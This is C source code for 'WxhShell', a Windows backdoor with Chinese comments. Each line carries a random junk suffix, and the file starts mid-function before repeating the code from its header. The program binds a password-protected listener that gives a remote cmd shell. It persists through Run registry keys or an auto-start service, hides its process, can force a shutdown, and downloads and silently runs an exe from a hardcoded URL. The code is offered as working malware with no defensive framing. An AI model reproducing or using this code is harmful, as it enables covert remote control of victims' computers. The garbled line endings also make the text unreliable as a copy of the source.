    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |H LU5=Y  
    if(Boot(SHUTDOWN)) xKl!{A9$w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YF]W<ZpY  
    else { k_^| %xJ  
    closesocket(wsh); 2Bf]#l{z  
    ExitThread(0); GjmPpKIu\  
    } $T)EJe  
    break; rk$$gXg9/  
    } z ]@ Q  
  // 获取shell bh9!OqK9K  
  case 's': { Ch~2w)HAA  
    CmdShell(wsh); 0KQDw  
    closesocket(wsh); 8hK\Ya:mP  
    ExitThread(0); e95x,|.-_  
    break; ># {,(8\  
  } &ZmHR^Flz  
  // 退出 91 ]"D;NN  
  case 'x': { V@QWJZ"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xTy[X"sJ  
    CloseIt(wsh); TbY <(wrMZ  
    break; ac-R q.GQY  
    }  m,,FNYW  
  // 离开 YhVV~bvz*  
  case 'q': { VOj{&O2c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l Wa4X#~.  
    closesocket(wsh); / p_mFA]@  
    WSACleanup(); u0)~Im,X  
    exit(1); zO)>(E?  
    break; YL$#6d  
        } /qYo*S_cG  
  } ubpVrvu@  
  } <K$X>&Ts  
? x*Ve2+]  
  // 提示信息 7~2/NU?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OJkiTs{  
} HH\6gs]u  
  } b?p_mQKtZ  
@213KmB.  
  return; ww_gG5Fc$  
} w4S0aR:yL  
AS} FRNIVx  
// shell模块句柄 'g4t !__  
int CmdShell(SOCKET sock) 1qR[& =/  
{ <rO0t9OH  
STARTUPINFO si; qB`-[A9HPe  
ZeroMemory(&si,sizeof(si)); @dy<=bh~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _* xjG \!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A[/_}bI|  
PROCESS_INFORMATION ProcessInfo; 9{{|P=  
char cmdline[]="cmd"; J73B$0FP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [ _jd  
  return 0; MQ9Nn|4  
} (Hr_gkGtM  
Mn- f  
// 自身启动模式 Qj?qWVapA  
int StartFromService(void) -FAAP&LG  
{ I$#B#w?!$r  
typedef struct 0X`sQNx  
{ C&&*6E5  
  DWORD ExitStatus; "kE$2Kg  
  DWORD PebBaseAddress; ; W/K7}  
  DWORD AffinityMask; n^svRM]eQ  
  DWORD BasePriority; ),G?f {`!  
  ULONG UniqueProcessId; 5pOb;ry")`  
  ULONG InheritedFromUniqueProcessId; @E(_H$|E  
}   PROCESS_BASIC_INFORMATION; (5^bU<  
6vx0F?>_  
PROCNTQSIP NtQueryInformationProcess; Hcp)Q76X  
F~NmLm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Po%+:0oX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x >u \  
_1s\ztDpw  
  HANDLE             hProcess; 'u \my  
  PROCESS_BASIC_INFORMATION pbi; O#}'QZd'  
i; 8""A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -P+@n)?T6  
  if(NULL == hInst ) return 0; CaSoR |  
Ya#,\;dTT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6' 9ITA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o3_dHbdI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O4Wn+$AN  
sHk,#EsKH  
  if (!NtQueryInformationProcess) return 0; 'nK(cKDIG  
WBo|0(#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .>5KwEK~  
  if(!hProcess) return 0; 7*!h:rg  
xq?9w$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rmX'Ym9#  
]BY^.!Y  
  CloseHandle(hProcess); H nKO  
`^rN"\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X1 A~#w>  
if(hProcess==NULL) return 0; 9@nDXZP Y&  
QY]^^f  
HMODULE hMod; 'T(7EL3$}  
char procName[255]; !+& Rn\e%7  
unsigned long cbNeeded; b(hnouS  
WUVRwJ 5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5h"moh9tG  
ZyJdz+L{@V  
  CloseHandle(hProcess); -Y*"!8  
iIOA54!o  
if(strstr(procName,"services")) return 1; // 以服务启动 &"D *  
jTo-xP{lC  
  return 0; // 注册表启动 j%2l%Mx(  
} px@:t}  
(*.t~6c?5  
// 主模块 l?F&I.{J  
int StartWxhshell(LPSTR lpCmdLine) xQ4'$rL1d  
{ &f}a`/{@  
  SOCKET wsl; ZnX]Q+w  
BOOL val=TRUE; *W'F 6Hpu  
  int port=0; a3&&7n  
  struct sockaddr_in door; 2"31k2H[  
y"|QY!fK  
  if(wscfg.ws_autoins) Install(); <<43 'N+  
nqG9$!k^t  
port=atoi(lpCmdLine); C'HW`rh.^  
#=tWjInm  
if(port<=0) port=wscfg.ws_port; qIbp0`m  
0P(U^rkR~  
  WSADATA data; /H_,1Fu|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E0;KTcZi  
kC =e>v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   orGNza"A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6$1dd#  
  door.sin_family = AF_INET; ohK_~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >^cP]gG Y  
  door.sin_port = htons(port); %SV5 PO@  
\q2#ef@2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CNC3">Dk~9  
closesocket(wsl); {-(}p+;z  
return 1; ZI'MfkEZ*  
} A]fN~PR  
}gk37_}X\I  
  if(listen(wsl,2) == INVALID_SOCKET) { l 8I`%bu  
closesocket(wsl); gW{<:6}!*  
return 1; 'cs!(z-{x  
} KO`ftz3 +  
  Wxhshell(wsl); k7rFbrL Z  
  WSACleanup(); G_GPnKdd  
7M#eR8*[se  
return 0; ?(9/V7HQ.5  
s>=DfE-;"  
} _j$"fg  
9H@I<`qGC  
// 以NT服务方式启动 R3nCk-Dq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^/|agQ7D2  
{ P8tpbdZE-  
DWORD   status = 0; l+6y$2QR  
  DWORD   specificError = 0xfffffff; %9,:  
o,| LO$~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9(;5!q,Gsg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  ~F?vf@k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /az}<r8  
  serviceStatus.dwWin32ExitCode     = 0; .A;e` cKb  
  serviceStatus.dwServiceSpecificExitCode = 0; Z`5jX;Z!  
  serviceStatus.dwCheckPoint       = 0; X$o$8s  
  serviceStatus.dwWaitHint       = 0; oF1{/ERS  
Kjw4,z%\94  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !PQ%h/ix  
  if (hServiceStatusHandle==0) return;  %2 A-u  
:%[=v (G[  
status = GetLastError(); "N"$B~W*  
  if (status!=NO_ERROR) 9"KO!w  
{ hf6=`M}>i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \8Mn[G9TL  
    serviceStatus.dwCheckPoint       = 0; x -wIgo+  
    serviceStatus.dwWaitHint       = 0; pGQP9r%  
    serviceStatus.dwWin32ExitCode     = status; MAhJ>qe8 p  
    serviceStatus.dwServiceSpecificExitCode = specificError; k[TVu5R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mAycfa  
    return; j]-0m4QF  
  } 3j'A.S  
XILB>o.^3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _a;E>   
  serviceStatus.dwCheckPoint       = 0; S6k R o^2  
  serviceStatus.dwWaitHint       = 0; ]_Cm 5Z7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y7W xV>E  
} b2}>{Li0  
G,tJ\xMw8  
// 处理NT服务事件,比如:启动、停止 v"nN[_T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Bw;gl^:UG  
{ r57&F`{  
switch(fdwControl) *&WkorByW  
{ #BB,6E   
case SERVICE_CONTROL_STOP: ^?pf.E!F`  
  serviceStatus.dwWin32ExitCode = 0; ;[-OMGr]#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <evvNSE  
  serviceStatus.dwCheckPoint   = 0; {WBe(dc_%  
  serviceStatus.dwWaitHint     = 0; +iS'$2)@  
  { AYhWeI+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9YpgzCx Z  
  } bW"bkA80  
  return; Wo&WO e  
case SERVICE_CONTROL_PAUSE: 2nNBX2 o&_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  8*nv+  
  break; w_c)iJ  
case SERVICE_CONTROL_CONTINUE: y^PQgzm]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d:Y!!LV-@L  
  break; UL9]LEGG  
case SERVICE_CONTROL_INTERROGATE: @vsgmz  
  break; cB$OkaG#  
}; #'poDX?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z\S#P|;  
} #[ei/p  
cyM9[X4rC  
// 标准应用程序主函数 eUBf-xA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %bu$t,  
{ C%2BDj  
_?]0b7X  
// 获取操作系统版本 %7w=;]ym  
OsIsNt=GetOsVer(); w=NM==cLj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OQlmzg  
u|;?FQ$M  
  // 从命令行安装 VI xGD#m  
  if(strpbrk(lpCmdLine,"iI")) Install(); ldd8'2  
RIhu9W   
  // 下载执行文件 JD`IPQb~E  
if(wscfg.ws_downexe) { Q6Ay$*y=D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ///  
  WinExec(wscfg.ws_filenam,SW_HIDE); \,UpFuU\  
} {Ad4H[]|]  
gmdJ8$  
if(!OsIsNt) { pUc N-WA  
// 如果时win9x,隐藏进程并且设置为注册表启动 BiFU3FlTf  
HideProc(); (/mR p  
StartWxhshell(lpCmdLine); ?*oBevUnCY  
} 6tx5{Xl-o  
else 4*AkUkP:T  
  if(StartFromService()) NO)Hi)$X6Y  
  // 以服务方式启动 ]=gNA  
  StartServiceCtrlDispatcher(DispatchTable); tTjadnX  
else fwF&V^Dy  
  // 普通方式启动 Mh =yIx</  
  StartWxhshell(lpCmdLine); /M,C%.-  
yL2sce[  
return 0; ;;4>vF#*  
} '99rXw  
Zz,j,w0 Z  
d}RU-uiW  
#mIgk'kW<  
=========================================== #EG W76 f  
dd+hX$,  
H{)DI(,Y^P  
l|kGp~  
^Z |WD!>`  
&i(\g7%U  
" 8"'Z0 Ey  
c-jE1y<  
#include <stdio.h> zIzL7oD  
#include <string.h> Cs!z3QU  
#include <windows.h> GhJ<L3  
#include <winsock2.h> Y>J$OA:  
#include <winsvc.h> q1a*6*YB  
#include <urlmon.h> T`zUgZ]  
x/S:)z%X  
#pragma comment (lib, "Ws2_32.lib") mm dQ\\  
#pragma comment (lib, "urlmon.lib") q`Rc \aWB%  
.](~dVp%~  
#define MAX_USER   100 // 最大客户端连接数 @u>:(9bp  
#define BUF_SOCK   200 // sock buffer gzMp&J  
#define KEY_BUFF   255 // 输入 buffer |e QwI&  
KgH_-REN  
#define REBOOT     0   // 重启 7Dt* ++:  
#define SHUTDOWN   1   // 关机 o8 B$6w:_  
'bQjJRq!  
#define DEF_PORT   5000 // 监听端口 67tB8X  
h5o6G1ur  
#define REG_LEN     16   // 注册表键长度 7&hhKEA  
#define SVC_LEN     80   // NT服务名长度 EXF|; @-"  
zhC#<  
// 从dll定义API rq#\x{l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h@2YQgw`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g`Kh&|GU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1 u~Xk?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c{"qrwLA  
;RW0Dn)Q  
// wxhshell配置信息 I^GZ9@UE  
struct WSCFG { Fa0NHX2:  
  int ws_port;         // 监听端口 17E,Qnf  
  char ws_passstr[REG_LEN]; // 口令 Z1~`S!(}  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q)/oU\  
  char ws_regname[REG_LEN]; // 注册表键名 WvoJ^{\4N*  
  char ws_svcname[REG_LEN]; // 服务名 R:5uZAx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1F' x$~ZI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8C=8Wjm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gq7l>vT.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HhZ>/5'(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g=na3^PL6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (|2:^T+  
oWLv-{08  
}; ^Q#g-"b  
B9: i.rQ  
// default Wxhshell configuration 0woLB#v9  
struct WSCFG wscfg={DEF_PORT, uj~(r=%  
    "xuhuanlingzhe", K'c[r0Ew  
    1, V r7L9%/wg  
    "Wxhshell", I_s*pT  
    "Wxhshell", 4n0Iw  I  
            "WxhShell Service", m4on<5s/  
    "Wrsky Windows CmdShell Service", +zg3/C4 S  
    "Please Input Your Password: ", wZg~k\_lF  
  1, {00Qg{;K|  
  "http://www.wrsky.com/wxhshell.exe", 8zO;=R A7%  
  "Wxhshell.exe" X/f?=U  
    }; 8b:GyC5L  
n`X}&(O  
// 消息定义模块 `]I p`_{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r>lo@e0G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c$8M}q:X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4*&2D-8<K  
char *msg_ws_ext="\n\rExit."; Tg@:mw5  
char *msg_ws_end="\n\rQuit."; 7Tc^}Q  
char *msg_ws_boot="\n\rReboot..."; cz41<SFL  
char *msg_ws_poff="\n\rShutdown..."; MMy\u) 4  
char *msg_ws_down="\n\rSave to "; -KL5sK  
-PCF Om"  
char *msg_ws_err="\n\rErr!"; #G]g  
char *msg_ws_ok="\n\rOK!"; O %1uBc  
2dCD.9s9~  
char ExeFile[MAX_PATH]; EX/{W$ &K  
int nUser = 0; sZ> 0*S  
HANDLE handles[MAX_USER]; 6Qn};tbnD  
int OsIsNt; ?s@=DDB\u  
G.:QA}FE'  
SERVICE_STATUS       serviceStatus; +F92_a4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n >@Qx$-  
ROJ=ZYof  
// 函数声明 cKB1o0JsYJ  
int Install(void); ckkm}|&m  
int Uninstall(void); ID~}pEQ  
int DownloadFile(char *sURL, SOCKET wsh); fD*jzj7o ,  
int Boot(int flag); 4C }#lW9  
void HideProc(void); gn:&akg  
int GetOsVer(void); P>hR${KE  
int Wxhshell(SOCKET wsl); Hy b_> n  
void TalkWithClient(void *cs); fp?/Dg"49.  
int CmdShell(SOCKET sock); R9-Uoc/  
int StartFromService(void); 5i-VnG  
int StartWxhshell(LPSTR lpCmdLine); &3|l4R\  
7 &iav2q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /],9N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +yxL}=4s  
+W"DN5UV  
// 数据结构和表定义 BUUc9&f3o  
SERVICE_TABLE_ENTRY DispatchTable[] = =@P]eK/  
{ I&f!>y?,Z  
{wscfg.ws_svcname, NTServiceMain}, G4^6o[x  
{NULL, NULL} i|xC#hV  
}; ! Q8y]9O  
L5 wR4Ue)  
// 自我安装 P@0J!  
int Install(void) ?&D.b$  
{ +ZR>ul-c  
  char svExeFile[MAX_PATH]; hm0MO,i"  
  HKEY key; ~{ucr#]C  
  strcpy(svExeFile,ExeFile); FK @Gd)(  
Mu@(^zW  
// 如果是win9x系统,修改注册表设为自启动 WJ/X`?k  
if(!OsIsNt) { !8|?0>3)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K?Jo"oy7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `(xzCRX  
  RegCloseKey(key); ]VaMulb4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Uka(Vr:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qb$M.-\ne  
  RegCloseKey(key); sn8l3h)  
  return 0; GC[Ot~*_  
    } &hJQHlyJM0  
  } _q}^#-  
} -Np}<O`./  
else { ]4B&8n!  
),lE8A{ H  
// 如果是NT以上系统,安装为系统服务 A&{eC C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x$z>.4  
if (schSCManager!=0) EKUiX#p: M  
{ 9?uU%9r5P  
  SC_HANDLE schService = CreateService 6$t+Q~2G!  
  ( GHQm$|3I  
  schSCManager, |<JBoE]3B  
  wscfg.ws_svcname, H#3Ma1z  
  wscfg.ws_svcdisp, -0+h&CO  
  SERVICE_ALL_ACCESS, Q"K`~QF"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Fr#QM0--B  
  SERVICE_AUTO_START, l4 YTR4D  
  SERVICE_ERROR_NORMAL, y>c Yw!  
  svExeFile, y m?uj4I{  
  NULL, drJUfsxV  
  NULL, usw(]CnH  
  NULL, !O4)Y M  
  NULL, sY* qf=  
  NULL h#Z~x  
  ); cvC 7#i[G  
  if (schService!=0) zd=N.  
  { esd9N'.Q*  
  CloseServiceHandle(schService); e 3TKg  
  CloseServiceHandle(schSCManager); \"9ysePI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CYdYa|  
  strcat(svExeFile,wscfg.ws_svcname); C?]+(P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7>3+]njw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s14 ot80)  
  RegCloseKey(key); 5}2148  
  return 0; YoSBS   
    } X$=/H 6R5Z  
  } ]+Z,HY@;-  
  CloseServiceHandle(schSCManager); >6|Xvtf  
} sW&h?jdf  
} &X,6v  
B;t{IYhq{  
return 1; (d['f]S+&  
} (Ft#6oK"  
U%)*I~9  
// 自我卸载 [j?<&^SW  
int Uninstall(void) lt%9Zgr[u  
{ ctR ^"'u  
  HKEY key; 7)BK&kpVr  
fr&K^je\  
if(!OsIsNt) { Sc:)H2k`$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1cV0TUrz  
  RegDeleteValue(key,wscfg.ws_regname); Y]Zp[!  
  RegCloseKey(key); UPkc-^BN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |21*p#>  
  RegDeleteValue(key,wscfg.ws_regname); s qO$ka{  
  RegCloseKey(key); ,vB nr_D#  
  return 0; :M.]-+(  
  } v V>=Uvm  
} I=;=;-  
} ufN`=IJ%  
else { x5k6"S"1,  
5>-~!Mg1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V=E5pB`Pr  
if (schSCManager!=0) !Hj 7|5  
{ C\* 0621  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OKnpG*)u=g  
  if (schService!=0) fz rH}^  
  { [ub)`-6 u  
  if(DeleteService(schService)!=0) { ^39 ?@xc@  
  CloseServiceHandle(schService); G%T<wKD<  
  CloseServiceHandle(schSCManager); Bpv"qU7  
  return 0; gH0Rd WX  
  } _8wT4|z5  
  CloseServiceHandle(schService); .K+5k`kd  
  } *rC%nmJwk!  
  CloseServiceHandle(schSCManager); rfOrh^  
} yJ!,>OQ%'  
} <o@__l.  
8O0]hz  
return 1; NZ- 57Ji  
} } A}Vd:#  
iThf\  
// 从指定url下载文件 3m"9q  
int DownloadFile(char *sURL, SOCKET wsh) C^!~WFy  
{ k>#-NPU$  
  HRESULT hr; u+ 8wBb5!  
char seps[]= "/"; 5yf`3vV|3@  
char *token; b7HT<$Wg  
char *file; UZo[]$"Q`  
char myURL[MAX_PATH]; 8< z   
char myFILE[MAX_PATH]; \j0016;  
nr%P11U\c  
strcpy(myURL,sURL); *a` _,Q{x  
  token=strtok(myURL,seps); FB O_B  
  while(token!=NULL) wdRk+  
  { >viLvDng  
    file=token; o:@A%*jg  
  token=strtok(NULL,seps); X + B=?|M  
  } XXb,*u 3  
AZnFOS  
GetCurrentDirectory(MAX_PATH,myFILE); p e$WSS J  
strcat(myFILE, "\\"); L7N>p4h]Xj  
strcat(myFILE, file); Bb7Vf7>  
  send(wsh,myFILE,strlen(myFILE),0); gh% Q9Ni-  
send(wsh,"...",3,0); T8Ye+eP}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q]v{o8:U  
  if(hr==S_OK) 2 '8I/>-  
return 0; Sv[+~co<l  
else Obc wmL  
return 1; {mA#'75a#  
2Iq*7n:v0  
} =64Ju Wvo  
avd`7eH2  
// 系统电源模块 '3B7F5uLx"  
int Boot(int flag) Lp{/  
{ _J0(GuG=~  
  HANDLE hToken; ]"i^ VVw  
  TOKEN_PRIVILEGES tkp; #3YYE5cB  
S>R40T=e  
  if(OsIsNt) { Zc=#Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z`ZML+;~6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XpdjWLO]C<  
    tkp.PrivilegeCount = 1; $~T|v7Y%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2l+t-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sfC/Q"Zs  
if(flag==REBOOT) { kj`h{Wc[)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T>m|C}yy  
  return 0; `W u.wx  
} JgB"N/Oz  
else { <'O|7. ^^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3#h@,>Z;  
  return 0; >x${I`2w  
} #$JY &!M  
  } <KZ J  
  else { =@.5J'!  
if(flag==REBOOT) { 2~@Cj@P]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mnM$#%q;%  
  return 0; =Ct$!uun  
} 2XV3f$,H  
else { $lF\FC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /+f3jy:d  
  return 0; .;37 e  
} 3_Mynop  
} La si)e=$<  
J_&G\b.9/  
return 1; {Yv5Z.L&(  
} cN| gaL  
=2d h}8Mz  
// win9x进程隐藏模块 }1YQ?:@  
void HideProc(void) NJ(H$tB@  
{ 2bTM0-  
<#e!kWGR?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U z MIm  
  if ( hKernel != NULL ) *YWk.  
  { eX o@3/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9j$J}=y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :Q>{Y  
    FreeLibrary(hKernel); f6%7:B d  
  } n)rSgzI  
b+THn'2  
return; 8-q4'@(  
} k; vhQ=  
@BqSu|'Du,  
// 获取操作系统版本 A@n//AZM  
int GetOsVer(void) 9w$+Qc  
{ M;E$ ]Z9  
  OSVERSIONINFO winfo; iuEQ?fp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d'b q#r  
  GetVersionEx(&winfo); %~qY\>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JPkI+0  
  return 1; kSO:xS0 _N  
  else ?^ `EI}g  
  return 0; Med0O~T%  
} ?yAjxoE~?  
yo#fJ`  
// 客户端句柄模块 Ufe@G\uyI  
int Wxhshell(SOCKET wsl) >2K:O\&  
{ >~\CiV4^  
  SOCKET wsh; 7R>Pk9J  
  struct sockaddr_in client; 8#15*'Y  
  DWORD myID; _E xd:  
CI@qT}Y_  
  while(nUser<MAX_USER) ?., 2EC=+  
{ w(nQ:;oC  
  int nSize=sizeof(client); Y!AQ7F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;r3|EA35  
  if(wsh==INVALID_SOCKET) return 1; \_3#%%z  
A]OVmw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *@[+C~U  
if(handles[nUser]==0) 6q~*\KRk  
  closesocket(wsh); CL"q "  
else (W_U<~`t  
  nUser++; &(rR)cG  
  } Z_[jah  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TXK82qTdf  
R5MY\^H/A  
  return 0; |1Pi`^  
} s F3M= uz  
w-?Cg8bq<  
// 关闭 socket x-@6U  
void CloseIt(SOCKET wsh) ZVz`-h B  
{ f}+8m .g2  
closesocket(wsh); R?+:Js/  
nUser--; H?j!f$sw  
ExitThread(0); K_LwYO3  
} =s1Pf__<k  
X1Y+ao1)  
// 客户端请求句柄 $Z4IPs  
void TalkWithClient(void *cs) W&Kjh|[1QZ  
{ 1TL~I-G&n  
N1u2=puJY  
  SOCKET wsh=(SOCKET)cs; ah0  
  char pwd[SVC_LEN]; Ixv/xI  
  char cmd[KEY_BUFF]; -gb'DN1BG  
char chr[1]; T>pz?e^5&  
int i,j; !<j)D_  
?K^~(D8(  
  while (nUser < MAX_USER) { &p:GB_  
N!^5<2z@eT  
if(wscfg.ws_passstr) { kS$m$ D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a1# 'uS9W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;U$EM+9  
  //ZeroMemory(pwd,KEY_BUFF); $7bux 1L  
      i=0; glP W9q,f  
  while(i<SVC_LEN) { pt- 1>Ui  
+@5*_n\e`  
  // 设置超时 y7Sj^muBY  
  fd_set FdRead; m6M:l"u  
  struct timeval TimeOut; Zywx.@!  
  FD_ZERO(&FdRead); ]eIV'lP,j/  
  FD_SET(wsh,&FdRead); ~3s\Q%   
  TimeOut.tv_sec=8; =hB0p^a  
  TimeOut.tv_usec=0; :]^FTnO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (TFo]c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ex-W{k$  
~F=,)GE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $(eqZ<y  
  pwd=chr[0]; #gY|T|  
  if(chr[0]==0xd || chr[0]==0xa) {  0@dN$e  
  pwd=0; 6i_dL|c  
  break; ;B@-RfP  
  } ,]|*~dd>G  
  i++; xl;0&/7e  
    } c %.vI  
\h 1T/_4  
  // 如果是非法用户,关闭 socket lT~A~O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;OfZEy>7  
} wQ/Z:  
088"7 s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u3@v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F otHITw[  
_f@, >l  
while(1) { 6b9 &V`  
;gNoiAxW  
  ZeroMemory(cmd,KEY_BUFF); 52d8EGC  
ZMI vzQYI  
      // 自动支持客户端 telnet标准   Jsp>v'Qvq  
  j=0; *;y n_zg  
  while(j<KEY_BUFF) { [*AWCV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u#`FkuE\}  
  cmd[j]=chr[0]; ;f)o_:(JJ  
  if(chr[0]==0xa || chr[0]==0xd) { E5F0C]hq  
  cmd[j]=0; 2%(RB4+  
  break; *oU-V#   
  } Y]>Qu f.!  
  j++; O)Mf/P'  
    } "/}cV5=Z  
!_SIq`5]@  
  // 下载文件 d65t"U  
  if(strstr(cmd,"http://")) { 7JHS8C<]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Kk_h&by?  
  if(DownloadFile(cmd,wsh)) }MV=I$S2U  
